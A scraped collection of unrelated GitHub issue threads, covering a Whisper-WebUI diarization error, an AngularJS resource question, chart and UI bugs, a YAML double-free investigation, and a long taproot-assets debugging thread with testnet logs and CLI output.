File "/home/user1/work/Whisper-WebUI.new/venv/lib/python3.10/site-packages/gradio/queueing.py", line 536, in process_events
response = await route_utils.call_process_api(
File "/home/user1/work/Whisper-WebUI.new/venv/lib/python3.10/site-packages/gradio/route_utils.py", line 321, in call_process_api
output = await app.get_blocks().process_api(
File "/home/user1/work/Whisper-WebUI.new/venv/lib/python3.10/site-packages/gradio/blocks.py", line 1945, in process_api
data = await self.postprocess_data(block_fn, result["prediction"], state)
File "/home/user1/work/Whisper-WebUI.new/venv/lib/python3.10/site-packages/gradio/blocks.py", line 1717, in postprocess_data
self.validate_outputs(block_fn, predictions)  # type: ignore
File "/home/user1/work/Whisper-WebUI.new/venv/lib/python3.10/site-packages/gradio/blocks.py", line 1691, in validate_outputs
raise ValueError(
ValueError: An event handler (transcribe_file) didn't receive enough output values (needed: 2, received: 1).
Wanted outputs:
[<gradio.components.textbox.Textbox object at 0x7fd8cb2b7340>, <gradio.templates.Files object at 0x7fd8cb2b7490>]
Received outputs:
[None]
Thanks.

Just to check, did you agree to TOS for both models?

https://huggingface.co/pyannote/speaker-diarization-3.1
https://huggingface.co/pyannote/segmentation-3.0

README says you have to agree for both.

Yes, I did.

It seems like you mannually downloaded models to /.cache/huggingface/hub/ directory, not Path/WebUI/models/Diarizer ?
Just entering the huggingface token with read permission would automatically download the models to the right path.

Entered to the UI and it works now,thaks.
But m4a file failed.
Logs:
Error transcribing file: max() arg is an empty sequence
Traceback (most recent call last):
File "/Whisper-WebUI/venv/lib/python3.11/site-packages/gradio/queueing.py", line 536, in process_events
response = await route_utils.call_process_api(
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/Whisper-WebUI/venv/lib/python3.11/site-packages/gradio/route_utils.py", line 321, in call_process_api
output = await app.get_blocks().process_api(
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/Whisper-WebUI/venv/lib/python3.11/site-packages/gradio/blocks.py", line 1945, in process_api
data = await self.postprocess_data(block_fn, result["prediction"], state)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/Whisper-WebUI/venv/lib/python3.11/site-packages/gradio/blocks.py", line 1717, in postprocess_data
self.validate_outputs(block_fn, predictions)  # type: ignore
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/Whisper-WebUI/venv/lib/python3.11/site-packages/gradio/blocks.py", line 1691, in validate_outputs
raise ValueError(
ValueError: An event handler (transcribe_file) didn't receive enough output values (needed: 2, received: 1).
Wanted outputs:
[<gradio.components.textbox.Textbox object at 0x7f912c4544d0>, <gradio.templates.Files object at 0x7f912c41cc10>]
Received outputs:
[None]

Entered into the UI and it works now, thanks a lot.


$resource params

Hello,
Could you help me with doubt?
I have one resource:
function Notification ($resource) {
    return $resource('/api/notifications/:type/:notificationId/:action',
              {type: '@type', notificationId: '@notificationId', action: '@action'},
              {
                update: {method:'PUT'},
                poller: {method: 'GET', ignoreLoadingBar: true}
              });
  }

As I would call the poller and send the params
{type: '@type', notificationId: '@notificationId', action: '@action'}
var = myPoller poller.get (Notification, {action: 'poller', delay: 6000});

Tks

I did, thank you.
Congratulations for the service, it was very good!


Need a improvement for shoppingcart page user increase or decrease a product and display a user order items image

improvements needed for shopping cart page user need to increase or decrease a products and better ui and  need to display a user cart items image  example if user order  Rich Eggs we need to display a Rich Eggs image
If you assign to me I will fix it and add a label the gssocext and hactoberfest badges and add a level as well

Sure I will Work On That Thanks For Assign to Me 🙂

Hello @Sureshwebdeveloper! Your issue #53 has been closed. Thank you for your contribution!🚀


segmentation - Chart mode 100% is broken

I started visualizing this chart:
https://test.visualize.admin.ch/create/DUpS8om3Nv2R?dataSource=Prod

Segmentation in Source of emission
mode 100%
--> Visualization is somehow off:

Discussion on Slack:
I think we could disable the feature when we have negative values.
It would be the checkbox inside editing panel that's disabled?
There also could be a situation that user changes some interactive filters and stumbles upon negative values that were not there when chart was created, I think we also should have some error banner that would be shown?
Example: https://test.visualize.admin.ch/en/v/pNGoKmtrKZNE?dataSource=Prod and change interactive filter to Balance of land use (not included in total)


Possible double free in YAML dump

A bit of background: I was trying to find out why some specs in the nightly runner (e.g. core/string/dump_spec.rb) appear as if they are completely skipped (0 passed, 0 failed, 0 errored). It turns out the YAML formatter can create invalid YAML due to a lack of character escaping in String#inspect. Even with the improvements of  #1838 it still has a number of issues.
Given that we manually print the YAML output, the easiest thing to do was using the YAML library, but the first implementation resulted in double free errors (at least on my system).
This branch currently is a research branch to dive deeper into that issue.

I was able to reproduce the double free on this branch:

I admit I haven't looked into how the YAML library works, but it appears we are calling yaml_emitter_emit() with the same event object over and over, and the header claims that the event object is deleted.

So I thought I was onto something, and I merged master into this branch, but the problem vanished. I cannot reproduce the double-free now. 😞
I'm going to close this for now. If it comes up again, maybe we'll remember this info and have something to go on...


download chromedriver according to chrome installed

if you do not mind, I would introduce daily scheduled workflow in the next PR

I'm not sure if the release schedules are synchronized. There's value in having a (more) deterministic build.

chromedriver complains if it does not match chrome itself.
when I updated yesterday chromedriver to 131 (latest), it complained that chrome is 130.
since we install the latest chrome, it looks reasonable to align chromedriver with it.
other approach would be to define BOTH chrome and chromedriver, but it is longer story


[bug]: Proof file not transmitted upon confirmation for asset transfer

Background
I minted a normal (--emission_enabled) asset on the SENDER node. I synced RECEIVER node to the universe, created an address and sent funds from the SENDER node. Upon confirmation, both nodes sync to the universe, but proof files do not seem to get transmitted, and the RECEIVER does not show the assets in tapcli assets list or tapcli assets balance
Your environment
    "version": "0.3.0-alpha.rc2 commit=v0.3.0-alpha.rc2-36-gb489d04",
    "lnd_version": "0.17.0-beta",
    "network": "testnet3",

any other relevant environment details

Steps to reproduce

mint normal asset with emission_enabled (tapcli assets mint --type normal --name leocoin --supply 21000 --enable_emission)
sync receiver to universe
receiver makes address (tapcli2 addrs new --asset_id f2bdc9a75c4269eefc06bfb3762bb47964614aa612800cabe16eee4ca63a3c13 --amt 21)
sender sends coins (tapcli assets send --addr taptb1qqqsqqspqqzzpu4aexn4csnfam7qd0anwc4mg7tyv992vy5qpj47zmhwfjnr50qnq5ssx424cy357lfll77gdmx3r2um33phj7d6yx76rv5w5admfknujvenqcssy5czsf4akh3y6yhsn6mp3t5rpt7tfrat9znegl9q52z52ldfnv28pqss9qaejy86wuuaf203n0c6nnvnhxeqmh0uxa6qanmnfr2twjsaeel4pgq32rpkw4hxjan9wfek2unsvvaz7tm5v4ehgmn9wsh82mnfwejhyum99ekxjemgw3hxjmn89enxjmnpde3k2w33xqcrywgedu59a

Expected behavior
Once the transaction is confirmed I expect the sender to transmit their proofs to the recipient, who then knows about the assets.
Actual behavior
No sync of proofs appear to happen.
Logs of both sender and receiver:
sender_logs.txt
receiver_logs.txt

Took a quick look at this. The proof was uploaded to the universe by the sender node. Is it possible the address was not created on the receiver node but the sender node by accident? Or another node? Because in the receiver log, I don't see the following log lines (example from when I tried the same locally):
2023-10-18 10:10:09.977 [INF] RPCS: [NewAddr]: making new addr: asset_id=f2bdc9a75c4269eefc06bfb3762bb47964614aa612800cabe16eee4ca63a3c13, amt=1
2023-10-18 10:10:10.017 [WRN] GRDN: Taproot addr tb1pc32y4jpleu5znfx94kueu9qkwa6k0dalvkxcr3jf4qt6qgsmvv9shvazzc was already added to wallet before, skipping
2023-10-18 10:10:10.017 [INF] GRDN: Imported Taproot Asset address taptb1qqqsqqspqqzzpu4aexn4csnfam7qd0anwc4mg7tyv992vy5qpj47zmhwfjnr50qnq5ssx424cy357lfll77gdmx3r2um33phj7d6yx76rv5w5admfknujvenqcssyt5sa9dyyyfdeveygh85ty03awpxdvravsqzfg3a3em5rz5e7ypgpqssyy82evgkmmdda032j3k7s9mnwctnnfj49d2y3vxc3a7c4ywydfl8pgqszrpkw4hxjan9wfek2unsvvaz7tm5v4ehgmn9wsh82mnfwejhyum99ekxjemgw3hxjmn89enxjmnpde3k2w33xqcrywgs46ngn into wallet, watching p2tr address tb1pc32y4jpleu5znfx94kueu9qkwa6k0dalvkxcr3jf4qt6qgsmvv9shvazzc on chain

So the receiver node doesn't know it has to watch the chain for a transfer and therefore also didn't detect it and query for the proof.

May have been fixed between rc2 and rc3?

May have been fixed between rc2 and rc3?

Unlikely, commit b489d04 was more or less rc3.

I mean as part of #594

Allow me to attach the full receiver logs, which include the log line that the address was created:
2023-10-18 02:55:16.772 [INF] RPCS: [NewAddr]: making new addr: asset_id=f2bdc9a75c4269eefc06bfb3762bb47964614aa612800cabe16eee4ca63a3c13, amt=21
2023-10-18 02:55:16.811 [WRN] GRDN: Taproot addr tb1plljn8zlns686wh9qv73xzvz9xf8l3n2d7qt856t7sv23wamhre2spcms20 was already added to wallet before, skipping
2023-10-18 02:55:16.811 [INF] GRDN: Imported Taproot Asset address taptb1qqqsqqspqqzzpu4aexn4csnfam7qd0anwc4mg7tyv992vy5qpj47zmhwfjnr50qnq5ssx424cy357lfll77gdmx3r2um33phj7d6yx76rv5w5admfknujvenqcssy5czsf4akh3y6yhsn6mp3t5rpt7tfrat9znegl9q52z52ldfnv28pqss9qaejy86wuuaf203n0c6nnvnhxeqmh0uxa6qanmnfr2twjsaeel4pgq32rpkw4hxjan9wfek2unsvvaz7tm5v4ehgmn9wsh82mnfwejhyum99ekxjemgw3hxjmn89enxjmnpde3k2w33xqcrywgedu59a into wallet, watching p2tr address tb1plljn8zlns686wh9qv73xzvz9xf8l3n2d7qt856t7sv23wamhre2spcms20 on chain

receiver_logs.txt

Unable to reproduce, here's my node on testnet receiving a newly created asset:
    "id": {                                                                                [1/1860]
        "group_key": "03704851465720a57693663568e95e315cddab9c413406565eb4f203c3766c6406",
        "proof_type": "PROOF_TYPE_UNSPECIFIED"
    },
    "leaf_key": {
        "op": {
            "hash_str": "61a8a0062f9d1dd7cf14d817504e90e98922c56da600cef5c2077a37dea411dd",
            "index": 0
        },
        "script_key_bytes": "028f15f1e60c4742f72385595efe979ab0b663bd8a67b0a3687ac565fb12d38cf7"
    }
}
2023-10-18 13:55:03.760 [INF] PROF: fetching using: %!(EXTRA string=(universerpc.UniverseKey) id:{group_key:"\x03pHQFW \xa5v\x93f5h\xe9^1\\\x9xcA4\x06V^\xb4\xf2\x03\xc3vld\x06"} leaf_key:{op:{hash_str:"61a8a0062f9d1dd7cf14d
817504e90e98922c56da600cef5c2077a37dea411dd"} script_key_bytes:"\x02\x8f\x15\xf1\xe6\x0cGB\xf7#\x85Y^\xfe\x97\x9a\xb0\xb6c\xbd\x8ag\xb0\xa3hz\xc5e\xfb\x12ӌ\xf7"}
)
2023-10-18 13:55:03.828 [DBG] GRDN: Received proof for: script_key=0298a8d35fb7fc876df9e55812ee5b67d2a3b8485f856812390af06d3268e98bff, asset_id=cf636f5435640a2ea1da9e10c1c09b7c08d1afda8b58e5c18f08c09c8f732eeb
2023-10-18 13:55:03.837 [DBG] PROF: Deriving commitment by asset exclusion
2023-10-18 13:55:03.851 [INF] GRDN: Received new proof file, version=0, num_proofs=2
2023-10-18 13:55:03.852 [INF] GRDN: Watching new proof anchor TX 2051e9e9cb4cbf7acb1786194fd3857086d2a722c3be148e368c7ec78f0bd7da for 1 assets until it reaches 6 confirmations
2023-10-18 13:55:03.855 [DBG] GRDN: Anchor TX 2051e9e9cb4cbf7acb1786194fd3857086d2a722c3be148e368c7ec78f0bd7da was confirmed at height 2534006 (block_hash=000000000000005550fe6efd2350ea7199e3978bd5a130ec71187a7275a4167d), c
hecking if 1 proof(s) need to be updated
2023-10-18 13:55:03.855 [DBG] GRDN: Anchor TX 2051e9e9cb4cbf7acb1786194fd3857086d2a722c3be148e368c7ec78f0bd7da was already confirmed in block 2534006, ignoring confirmation for block<PHONE_NUMBER>00005550fe6efd2350ea7199e3978b
d5a130ec71187a7275a4167d

This should be fixed by https://github.com/lightninglabs/taproot-assets/issues/512 and https://github.com/lightninglabs/taproot-assets/issues/578

Hi @Roasbeef  before https://github.com/lightninglabs/taproot-assets/issues/512 and https://github.com/lightninglabs/taproot-assets/issues/578 are merged is there a workaround for this please ?

@snow884 IIUC, this can happen due to a timing issue between the sender and receiver. By next week we should have a fix up, if not by the end of this week. IIUC, restarting the receiver should be a short term fix. We're looking into other temporary mitigation solutions.

@snow884 you can run your recipient daemon with --proofcourieraddr=hashmail://mailbox.terminal.lightning.today:443 to use the old proof courier method which shouldn't have that issue. You'll need to generate new receive addresses though, as the courier URI is encoded in the taproot asset address.

@guggero  thank you very much.
Your fix worked. That mean though that all invoices submitted to the done have to be generated with proofcourieraddr=hashmail://mailbox.terminal.lightning.today:443 correct ?

That mean though that all invoices submitted to the done have to be generated with proofcourieraddr=hashmail://mailbox.terminal.lightning.today:443 correct ?

Yes, that's correct. If you're using gRPC or REST to generate the address, you can also use the proof_courier_addr field, then you don't need to start the whole daemon that way. We should definitely also add that field to the CLI.

I have an asset stuck in "transmitted" list (tapcli assets t). Restarting sender or receiver node does not help. Any way to nudge it?

First step I'd try is pulling from the latest master, as there are some important bug fixes in there that seemed to have worked for me

I built yesterday from source, nothing was changed

@Impa10r have you been able to try v0.3.1 rc1 yet?

@Impa10r have you been able to try v0.3.1 rc1 yet?

Just tried. Nothing changed. The asset is still in 'transfers' list on node 1, not moving to node 2. I synced both nodes to the same universe testnet.universe.lightning.finance. Not sure how we are supposed to nudge it in such a situation. This  is the tx on blockchain.

@Impa10r have you updated to the final 0.3.1 release, are things unstuck after that?

@Impa10r have you updated to the final 0.3.1 release, are things unstuck after that?

Hi, thanks, no, the same (((
$ tapcli getinfo
{
    "version": "0.3.1-alpha commit=v0.3.1",
    "lnd_version": "0.17.2-beta",
    "network": "testnet3",
...
$ tapcli u f l
{
    "servers": [
        {
            "host": "testnet.universe.lightning.finance:10029",
            "id": 1
        },
        {
            "host": "testnet.universe.lightning.finance",
            "id": 2
        }
    ]
}
$ tapcli2 u f l
{
    "servers": [
        {
            "host": "testnet.universe.lightning.finance:10029",
            "id": 1
        },
        {
            "host": "localhost:10029",
            "id": 2
        },
        {
            "host": "testnet.universe.lightning.finance",
            "id": 3
        }
    ]
}

$ tapcli a t
{
    "transfers": [
        {
            "transfer_timestamp": "1697809690",
            "anchor_tx_hash": "d6b93f524cfc0f2bf048374b6fff084d6d520ae6b8838c828e5883bad12663b2",
            "anchor_tx_height_hint": 2534369,
            "anchor_tx_chain_fees": "257",
...

@Impa10r what version of tapd was the address created with that was used in this transfer?
It could be that it didn't specify a proof courier so it won't ever transmit automatically (for this old, existing transfer).
Could you please confirm that by showing the output of tapcli addrs query?

@Impa10r what version of tapd was the address created with that was used in this transfer? It could be that it didn't specify a proof courier so it won't ever transmit automatically (for this old, existing transfer). Could you please confirm that by showing the output of tapcli addrs query?

$ tapcli2 addrs query
{
    "addrs": [
        {
            "encoded": "taptb1qqqsqqspqqzzpx8afpx0eth3a7mqf076ufxnngct32v8h7pd6z6uth9kcjkw640qqcss93umpycaay6nzm0usyc4982zpphp44dyr7xcs8pu9hhpngqggc90pqssxqdgd4kzwnf85gpck7jnlnhvdknnp69dhr8w0xx4j3lxnu72r8z0pgqszrpkw4hxjan9wfek2unsvvaz7tm5v4ehgmn9wsh82mnfwejhyum99ekxjemgw3hxjmn89enxjmnpde3k2w33xqcrywgslc2pq",
            "asset_id": "98fd484cfcaef1efb604bfdae24d39a30b8a987bf82dd0b5c5dcb6c4aced55e0",
            "asset_type": "COLLECTIBLE",
            "amount": "1",
            "group_key": "",
            "script_key": "02c79b0931de935316dfc8131529d42086e1ad5a41f8d881c3c2dee19a008460af",
            "internal_key": "0301a86d6c274d27a2038b7a53fceec6da730e8adb8cee798d5947e69f3ca19c4f",
            "tapscript_sibling": "",
            "taproot_output_key": "1ef95e7d37969350afeeea0fd2515d17cbab33563694040fe8c6b613ebba0444",
            "proof_courier_addr": "universerpc://testnet.universe.lightning.finance:10029",
            "asset_version": "ASSET_VERSION_V0"
        }
    ]
}

Hmm, okay, that looks good so far. Could you post the full log after a restart of both tapds please? You can upload them as text files directly through GitHub.

tapd1.log
tapd2.log

Thanks for the logs. Are you sure that's the complete log for tapd1? Because it looks like it received the proof and then just stops doing anything... Is there high CPU usage? And are you running with loglevel=trace? Perhaps this is just one of the logging infinite loops we fixed...
2023-12-05 17:58:52.103 [INF] PROF: Starting proof transfer backoff procedure for proof (transfer_type=receive, locator_hash=1eea8ff2d8faff7f4cef93f9bb23a0334b0195b123fc263d78e20f9699b245b1)
2023-12-05 17:58:52.309 [INF] PROF: Starting proof transfer backoff procedure for proof (transfer_type=receive, locator_hash=f7874ef86f8e05f4c5dd2e57bbf00d1778476cfb09e56c811432ec8addb290b4)
2023-12-05 17:58:52.510 [DBG] GRDN: Received proof for: script_key=0213c74fbd254335608bb244be5073d3ab809e31830ae95447b807272bef51e307, asset_id=98fd484cfcaef1efb604bfdae24d39a30b8a987bf82dd0b5c5dcb6c4aced55e0
2023-12-05 17:58:52.517 [DBG] PROF: Deriving commitment by asset exclusion
2023-12-05 17:58:52.525 [INF] GRDN: Received new proof file, version=0, num_proofs=2

Okay, can you try with debuglevel=info please? My suspicion is that a trace or debug log statement is causing your issue.

Finally go to taking a closer look. So the proof was successfully uploaded to the universe by the sender. And I figured out why the receiver isn't trying to pull it anymore. I'll create a fix momentarily.

Sorry I lost interest in TA testing and the issue was closed unresolved for me. Out of curiosity, I just upgraded lnd to 0.17.99-beta and tapd to 0.3.2-alpha. Nothing changed, the assets are still stuck in tapcli a t list ((

The issue was closed because we merged a PR that should prevent this situation in the future.
To resolve your issue some manual intervention might be necessary.
Can you please update tapd to the latest version on main and try again? If it doesn't work, the new log on the receiver side would help to figure out what the next (manual) steps would be.

I also have several 1000 sats utxos in lnd wallet that cannot be spent: input 0 not found in list of non-locked UTXO

Yes, those are UTXOs that carry assets. They can't be spent by lnd as it doesn't have all signing information.
You would need to destroy the assets they are carrying to unlock the sats, which also isn't really supported yet by tapd (you could do it with some PSBT trickery but not with an official RPC).
How many UTXOs/sats are we talking about? Perhaps you can reduce the amount by just consolidating all asset carrying UTXOs into a single one?

Ok, understood. These are 4 UTXOs on testnet, so no problem if it will not repeat in the future.

tapcli version 0.3.2-alpha commit=v0.3.2-464-gc8978aaa did nothing. both sender and receiver logs are like attached above, no new insights...

Did you try v0.3.3? That's the latest release and also includes some of the fixes mentioned.

v0.3.2-464-gc8978aaa is current main, so that implies even newer than v0.3.3 (it's just that the v0.3.3 tag was made from a branch, that's why the git name doesn't include that tag).

v0.3.2-464-gc8978aaa is current main,

$ git clone -b v0.3.2-464-gc8978aaa --recurse-submodules https://github.com/lightninglabs/taproot-assets.git
Cloning into 'taproot-assets'...
fatal: Remote branch v0.3.2-464-gc8978aaa not found in upstream origin

I was replying to @jharveyb, sorry for the confusion. You're already running the latest main, so you can't run v0.3.3 as that would be a downgrade (which is why the DB migration complains).


http and test dependency version update

Related to issue #1.

@RoundedInfinity  Can you merge this pull request so I will be able to run my application with the plugin and I can test my application with the latest updated plugin version.

@vaimikpatel2908 done

Thanks a lot